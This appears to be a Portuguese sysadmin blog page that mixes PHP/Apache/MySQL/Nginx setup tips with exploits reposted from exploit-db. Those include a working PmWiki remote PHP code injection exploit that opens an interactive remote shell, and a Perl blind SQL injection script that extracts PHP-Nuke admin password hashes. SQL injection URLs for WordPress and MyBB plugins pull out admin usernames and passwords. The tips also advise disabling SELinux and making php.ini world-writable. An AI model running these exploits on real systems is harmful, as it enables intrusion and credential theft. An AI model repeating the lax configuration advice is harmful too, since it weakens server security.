How to Solve unexpectedly Error 500 (Timeout) PHP + FastCGI + IIS 7 (Windows 7/8/10/2008/2012 server)

Standard

I could found some links that could help you. The problem is the activityTimeout of your cgi module.

For my, works in summary this.

Open the dos console “cmd” and go to c:\windows\system32\inetsrv\ then, execute this command, changing the path of your php-cgiappcmd set config -section:system.webServer/fastCgi "-[fullPath='C:\php\php-cgi.exe'].activityTimeout:3600"

PHP Warning: Module 'timezonedb' already loaded in Unknown on line 0

Standard

Para resolver isto é simples, entre no arquivo php.ini (em rhel based pode ser encontrado em /usr/local/lib/php.ini), bastando apenas entrar e remover as linhas duplicadas que contém:

extension=”timezonedb.so”

Removendo as linhas duplicadas rode: service httpd restart ou /etc/init.d/apache2 restart e curta!

Failed loading /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so: /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so: cannot restore segment prot after reloc: Permission denied

Standard

Depois de instalar tudo em seu servidor Centos (falo de ambiente lamp2 no centos), ao instalar o ioncube você percebe a mensagem de erro:

Failed loading /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so:  /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so: cannot restore segment prot after reloc: Permission denied

Calma, nem você é do mal e nem seu servidor, isso ocorre por que o SELinux está monitorando as coisas, permissões e etc, teremos de desativar o danado :(,

Para desativarmos o SELINUX devemos seguir os passos abaixo:

vim

/etc/sysconfig/selinux
Dentro deste arquivos devemos mudar a linha
SELINUX=permissive (ou enforcing) para:
SELINUX=disabled

Após, basta dar um reboot do dragão e ver que o problema foi sanado :D.

PmWiki

Standard

<?php

/*
    -------------------------------------------------------------
    PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    -------------------------------------------------------------
    
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.pmwiki.org/
    affected versions....: from 2.0.0 to 2.2.34
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    
    452.      $code = '';
    453.      foreach($opt['=order'] as $o => $r) {
    454.        if (@$PageListSortCmp[$o])
    455.          $code .= "$c = {$PageListSortCmp[$o]}; ";
    456.        else
    457.          $code .= "$c = @strcasecmp($PCache[$x]['$o'],$PCache[$y]['$o']); ";
    458.        $code .= "if ($c) return $r$c;n";
    459.      }
    460.      StopWatch('PageListSort sort');
    461.      if ($code)
    462.        uasort($list,
    463.               create_function('$x,$y', "global $PCache; $code return 0;"));
    464.      StopWatch('PageListSort end');
    
    Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
    
    [-] Disclosure timeline:
    
    [09/11/2011] - Vulnerability discovered
    [11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271
    [11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235
    [12/11/2011] - CVE number requested
    [15/11/2011] - Assigned CVE-2011-4453
    [23/11/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("n[-] No response from {$host}:80n");
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
print "n+------------------------------------------------------------+";
print "n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";
print "n+------------------------------------------------------------+n";
if ($argc < 3)
{
    print "nUsage......: php $argv[0] <host> <path>n";
    print "nExample....: php $argv[0] localhost /";
    print "nExample....: php $argv[0] localhost /pmwiki/n";
    die();
}
$host = $argv[1];
$path = $argv[2];
$phpcode = "']);error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD]));print(___);die;#";
$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";
$packet  = "POST {$path}pmwiki.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Connection: closernrn{$payload}";
if (!preg_match("/Location/", http_send($host, $packet))) die("n[-] Edit password required?!n");
$packet  = "POST {$path}pmwiki.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Cmd: %srn";
$packet .= "Content-Length: 11rn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Connection: closernrnn=Cmd.Shell";
while(1)
{
    print "npmwiki-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/nrn(.*)___/s", $response, $m) ? print $m[1] : die("n[-] Exploit failed!n");
}

?>

 

Fonte: http://www.exploit-db.com/exploits/18149/

PHP-Nuke

Standard

#!/usr/bin/perl

# [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection
# Date: 2010.07.04 after 50 days the bug was discovered.
# Author/s: Dante90, WaRWolFz Crew
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770,
#               Shades Master, V1R5, yeat
# Special Greetings To: The:Paradox
# Greetings To: Shotokan-The Hacker, _mRkZ_, h473
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# ----
# Why have I decided to publish this?
# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published
# my own exploit, with their names.
# FU**ING LAMERS / RIPPERS / SCRIPT KIDDIE
# ----
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use Time::HiRes;
my $Victime  = shift or &usage;
my $Hash = "";
my ($Referer,$Time,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
            default_headers => HTTP::Headers->new,
        ) or die $!;
my $WaRWolFz = "http://www.warwolfz.org/";
my $DefaultTime = request($WaRWolFz);
my $Post;
sub Blind_SQL_Jnjection {
    my ($dec,$hex,$Victime) = @_;
    return "http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}";
}
for(my $I=1; $I<=32; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime);
        $Time = request($Post);
        sleep(3);
        refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
        if ($Time > 4) {
            $Time = request($Post);
            refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
            if ($Time > 4) {
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Post);
                refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
                last;
            }
        }
    }
    if($I == 1 && length $Hash < 1 && !$Hash){
        print " * Exploit Failed                                       *n";
        print " -------------------------------------------------------- n";
        exit;
    }
    if($I == 32){
        print " * Exploit Successfully Executed                        *n";
        print " -------------------------------------------------------- n";
        system("pause");
    }
}
sub request{
    $Post = $_[0];
    $Start = Time::HiRes::time();
    my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', {
                    title => "Dante90",
                    url => $Post,
                    description => "WaRWolFz Crew",
                    auth_name => "Dante90",
                    email => "dante90.dmc4@hotmail.it",
                    filesize => "1024",
                    version => "1",
                    homepage => "http://www.warwolfz.org/",
                    d_op => "Add"
                },
                Referer => $HostName.'modules.php?name=Downloads&d_op=Add');
    $Response->is_success() or die "$HostName : ", $Response->message, "n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
}
sub usage {
    system("cls");
    {
        print " n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploitn";
        print " -------------------------------------------------------- n";
        print " * USAGE:                                               *n";
        print " * cd [Local Disk]:\[Directory Of Exploit]\             *n";
        print " * perl name_exploit.pl [victime]                       *n";
        print " -------------------------------------------------------- n";
        print " *          Powered By Dante90, WaRWolFz Crew           *n";
        print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *n";
        print " ------------------------------------------------------- n";
    };
    exit;
}
sub refresh {
    system("cls");
    {
        print " n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploitn";
        print " -------------------------------------------------------- n";
        print " * USAGE:                                               *n";
        print " * cd [Local Disk]:\[Directory Of Exploit]\             *n";
        print " * perl name_exploit.pl [victime]                       *n";
        print " -------------------------------------------------------- n";
        print " *          Powered By Dante90, WaRWolFz Crew           *n";
        print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *n";
        print " ------------------------------------------------------- n";
    };
    print " * Victime Site: " . $_[0] . "n";
    print " * Default Time: " . $_[1] . " secondsn";
    print " * BruteForcing Hash: " . chr($_[2]) . "n";
    print " * BruteForcing N Char Hash: " . $_[5] . "n";
    print " * SQL Time: " . $_[4] . " secondsn";
    print " * Hash: " . $_[3] . "n";
}

#WaRWolFz Crew

 

Fonte: http://www.exploit-db.com/exploits/18148/

Como remover caracteres ^M de arquivos usando VIM/VI (vale para qualquer UNIX-like)

Standard

Bom, galera, quem aqui nunca abriu um arquivo no console que apresentou caracteres ^M?
Normalmente essas pragas aparecem ou com o Dreamweaver ou com Word (cópia) – Área de Transferência, depois os caras costumam enviar por ftp e daí já sabe né? Se abrir o arquivo via console tá lá a praga!

Bem, a dica que nós do AppUnix vamos dar é simples, porém eficaz.

Abrindo seu vi/vim (no exemplo abaixo iremos dar o nome do arquivo como sendo crash.php):

vim crash.php

Assim que o arquivo for aberto o vi/vim estará em modo de comando, para ativar execuções aperte “:” (literalmente os 2 pontos SEM ASPAS) e digite o seginte %s/ (percentual, depois, s e depois / )  e em seguida aperte CTRL+V e CTRL+M e por fim digite //g

Na linha de execução do vi/vim vai aparecer literalmente isso aqui abaixo:

:%s/^M//g

Apertamdo ENTER ele vai remover toda a praga dos caracteres ^M.

Curtiu?
SHARE NELE!

Abraços galera.

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Standard

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache

Abrindo o menu de sharing para apache

Clicando em compartilhamento de páginas web

Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 




















Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)






Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

 

Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.

PONTO EXTRA:

Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.

 

Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:

 

manual do apache

manual do apache

 

Se você curtiu esse post dê share 😛

Mysql não aceita senha de root no Mac os X Lion, o que fazer? (serve para o snow leopard)

Standard

Bom, pessoal, nós do app gostaríamos de detalhar algo.
NÃO precisa ter senha de root para operar o mysql, isto dá-se em detrimento ao poder de root, porém com certas restrições que cada usuário do sistema possui.

Se eu quiser entrar no mysql para criar base de dados e trabalhar com o bd (após seguir nosso how to de instalação do apache, php, e mysql no mac os x lion ou instalação do apache, php, e mysql no mac os x snow leopard

mysql

mysql

) basta fazer o seguinte:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysql –user=little_oak

Pronto, você precisa lembrar que –user=little_oak deve ser susbsituído por –user=usuário_do_SEUMAC

Depois disso trabalhe normalmente.

Perceba uma coisa forte, o MAC OS X não precisa de root para fazer as coisas (dentro do mysql), ele já sabe que você, usando sudo É O CARA, por isso basta rodar este comando no terminal:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Troque o little_oak por seu usuário. Depois disso é só alegria.

Abraços galera e clique em SHARE, please!

WordPress Event Registration plugin

Standard


# Exploit Title: WordPress Event Registration plugin < = 5.4.3 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/event-registration.5.43.zip # Version: 5.4.3 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$id= $_REQUEST['id'];
...
$sql = "SELECT * FROM " . $events_detail_tbl . " WHERE id='$id'";
$result = mysql_query($sql);

Fonte: http://www.exploit-db.com/exploits/17751/

Como instalar Nginx PHP5 e Mysql no CentOS 5.6

Standard

A pronúncia correta do Nginx é “engin-ex”, mas vamos nos ater aos comandos que é o melhor que podemos fazer, né? NÃO sem antes falar que essa besteirinha segura “somente” milhões de acessos por dia ao site WordPress, por isso CONFIE e USE nginx sem QUALQUER medo! (existe plugin pago e grátis para o Cpanel, mas recomendamos que use o plugin free sob CENTOS senão seu cpanel vai sobrescrever os confs de vhosts do nginx).

Primeiro estou imaginando que seu ip será igual o meu -> 10.0.0.1.

Vamos instalar o Mysql?

root@appunixlabs:# yum clean all && yum update -y && yum install mysql mysql-server -y

O -y acima manda o yum instalar as coisas sem pedir confirmações.

Assim que terminarmos a instalação deveremos dar autoridade ao mysql para que possa iniciar assim que o server for inicializado (estilo pós reboot 😛 ):

root@appunixlabs:# chkconfig –levels 235 mysqld on

E vamos inicializar o bichão:

root@appunixlabs:# /etc/init.d/mysqld start

Se quisermos verificar se a porta do Mysql está aberta (funcionando) podemos usar o netstat -tap | grep mysql.

Agora precisamos editar o conf do mysql para deixar a conectividade dele filé:

root@appunixlabs:# vim /etc/my.cnf

Devemos achar a linha skip-networking e colocar um sinal de libra (#) para comentar essa instrução:

#skip-networking

Podemos localizar este termo usando / e digitando skip-networking no modo comando do vim (basta apertar o ESC e depois apertar /).

Vamos validar o trem?

root@appunixlabs:# /etc/init.d/mysqld restart

Devemos agora aplicar as correções de segurança do Mysql para desativar test user, definir senha de root… Bora simbora?

root@appunixlabs:# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] < – APERTE ENTER New password: <– DIGITE A SENHA DE ROOT DO MYSQL Re-enter new password: <– REPITA A SENHA DE ROOT DO MYSQL Password updated successfully! Reloading privilege tables.. … Success! By default, a MySQL installation has an anonymous user, allowing anyone to log into MySQL without having to have a user account created for them. This is intended only for testing, and to make the installation go a bit smoother. You should remove them before moving into a production environment. Remove anonymous users? [Y/n] <– ENTER PARA CONFIRMAR … Success! Normally, root should only be allowed to connect from ’localhost’. This ensures that someone cannot guess at the root password from the network. Disallow root login remotely? [Y/n] <– ENTER PARA CONFIRMAR … Success! By default, MySQL comes with a database named ’test’ that anyone can access. This is also intended only for testing, and should be removed before moving into a production environment. Remove test database and access to it? [Y/n] <– ENTER PARA CONFIRMAR - Dropping test database… … Success! - Removing privileges on test database… … Success! Reloading the privilege tables will ensure that all changes made so far will take effect immediately. Reload privilege tables now? [Y/n] <– ENTER PARA CONFIRMAR … Success! Cleaning up… All done! If you’ve completed all of the above steps, your MySQL installation should now be secure. Thanks for using MySQL!

Hora de instalarmos o Nginx, bora simbora? Pera! Antes de irmos temos de ajustar o repositório primeiro, para isto temos de fazer o seguinte:

root@appunixlabs:# cd /etc/yum.repos.d/

root@appunixlabs:# wget http://centos.karan.org/kbsingh-CentOS-Extras.repo

Pronto, precisamos agora somente editar o conf do repositório extra:

root@appunixlabs:# vim /etc/yum.repos.d/kbsingh-CentOS-Extras.repo

Precisamos deixar nosso conf parecido com este:

# pkgs in the -Testing repo are not gpg signed
[kbs-CentOS-Testing]
name=CentOS.Karan.Org-EL$releasever - Testing
gpgcheck=0
gpgkey=http://centos.karan.org/RPM-GPG-KEY-karan.org.txt
enabled=1
baseurl=http://centos.karan.org/el$releasever/extras/testing/$basearch/RPMS/

No gpgcheck temos de deixar 1.

Salvando e saindo do arquivo iremos deixar a casa arrumada:

root@appunixlabs:# yum update && yum install nginx -y

Agora teremos de colocar o nginx com direito de iniciar-se no momento do boot do server e depois disto validar este parâmetro:

root@appunixlabs:# chkconfig –levels 235 nginx on
root@appunixlabs:# /etc/init.d/nginx start

Para conferirmos que ficou filé basta abrir o navegador e digitar http://10.0.0.1, isto vai mostrar o container moendo :P.

Agora precisamos instalar o php, integrá-lo e ativar o suporte fastcgi. Para isto iremos abusar do yum (pra variar):

root@appunixlabs:# yum install lighttpd-fastcgi php-cli php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mssql php-snmp php-soap php-tidy -y

Agora precisamos editar o php.ini para dar suporte ao fastcgi:

root@appunixlabs:# vim /etc/php.ini

No padrão cgi.fix_pathinfo = 0 deixe cgi.fix_pathinfo = 1 (use a localização do vim a qual citamos neste post).

Vamos inicar agora o suporte ao FastCgi do PHP na porta 9000:

root@appunixlabs:# /usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u nginx -g nginx -f /usr/bin/php-cgi -P /var/run/fastcgi-php.pid

Agora devemos colocar essa instrução junto ao rc.local pra o bicho iniciar sozinho no momento do boot:

root@appunixlabs:# vim /etc/rc.local

Coloque isto no arquivo: /usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u nginx -g nginx -f /usr/bin/php-cgi -P /var/run/fastcgi-php.pid

Precisamos corrigir o keepalive do conf do nginx e mais coisas :(.

[ ... início do arquivo ... ]
worker_processes 5;
[... meio do arquivo ...]
keepalive_timeout 2;
[... fim do arquivo ...]

Precisamos criar o nosso default host :P, para isto temos de mudar a área do container do server:

server {
listen 80;
server_name _;

#charset koi8-r;

#access_log logs/host.access.log main;

location / {
root /usr/share/nginx/html;
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /404.html {
root /usr/share/nginx/html;
}

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}

# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ .php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ .php$ {
root /usr/share/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name;
include fastcgi_params;
}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
location ~ /.ht {
deny all;
}
}

server_name é a parte que valida nome canônico (www.qualquercoisa.com.br)
location / adicionamos index.php como sendo prioridade na abertura de arquivos (o default da vida).
A pasta de arquivos (o que seria um public_html ou www, ou ainda um httpdocs da vida) é /usr/share/nginx/html. (document root)
O principal deste arquivo é esta parte -> location ~ .php$ {}, devemos descomentar a mesma para que esteja validada.
Se não mudarmos fastcgi_param para fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; o php não conseguirá interpretar os scripts subjacentes no path (document root).

Bora meter o pau e ver como tudo ficou bombado?

root@appunixlabs:# /etc/init.d/nginx restart

E para ver que a parada está de fato funcionando/bombando/matando a pau devemos usar qualquer coisa do php para interpretação (testes), podemos usar o phpinfo mesmo. Para isto faça o seguinte:

root@appunixlabs:# vim /usr/share/nginx/html/index.php

Dentro dele coloque o seguinte:

< ?php phpinfo(); ?>

Depois disso, para testificarmos que a parada tá rodando devemos acessar por nosso navegador http://10.0.0.1/index.php

Pronto!

Fontes:

nginx: http://nginx.net/
nginx Wiki: http://wiki.codemongers.com/Main
PHP: http://www.php.net/
MySQL: http://www.mysql.com/
CentOS: http://www.centos.org/
How2Forge: http://migre.me/5rRVS

MyBB MyTabs (plugin) 0day SQL injection vulnerability

Standard


=====================================================================
MyBB 0day MyTabs (plugin) SQL injection vulnerability
=====================================================================

# Exploit title : MyBB 0day MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 08 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Vulnerable Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

—————————————
# ~ Expl0itation ~ #
—————————————

$~ Get the administrator’s username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

$~ Get the administrator’s password ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

_ _ ____ _ _ _ _ _ _ ____ _
/ _ _| |_ ___ | _ | | | | | | __ _ _ __ __| | __| | _ ___ __ _| |
/ _ | | | | __/ _ | |_) | | | | | | / _` | ‘_ / _` | / _` | |_) | / __|/ _` | |
/ ___ |_| | |_ (_) | _ /_/ ___,_|_____/|_| _\___/|_| _| __,_|_| |_|__,_| __,_|_| _(_)___/__, |_____|
|_|

# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.

____ _ ____ ____ _ _ _ _ _
| _ _ __ ___ _ _ __| | |___ | __ ) / | | |__ __ _ _ __ (_) __ _ _ __ | |
| |_) | ‘__/ _ | | | |/ _` | __) | _ / _ | | ‘_ / _` | ‘_ | |/ _` | ‘_ | |
| __/| | | (_) | |_| | (_| | / __/| |_) | / ___ | | |_) | (_| | | | | | (_| | | | | |_|
|_| |_| ___/ __,_|__,_| |_____|____/ /_/ __|_.__/ __,_|_| |_|_|__,_|_| |_| (_)

# 2011

 

Fonte: http://www.exploit-db.com/exploits/17595/

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Standard

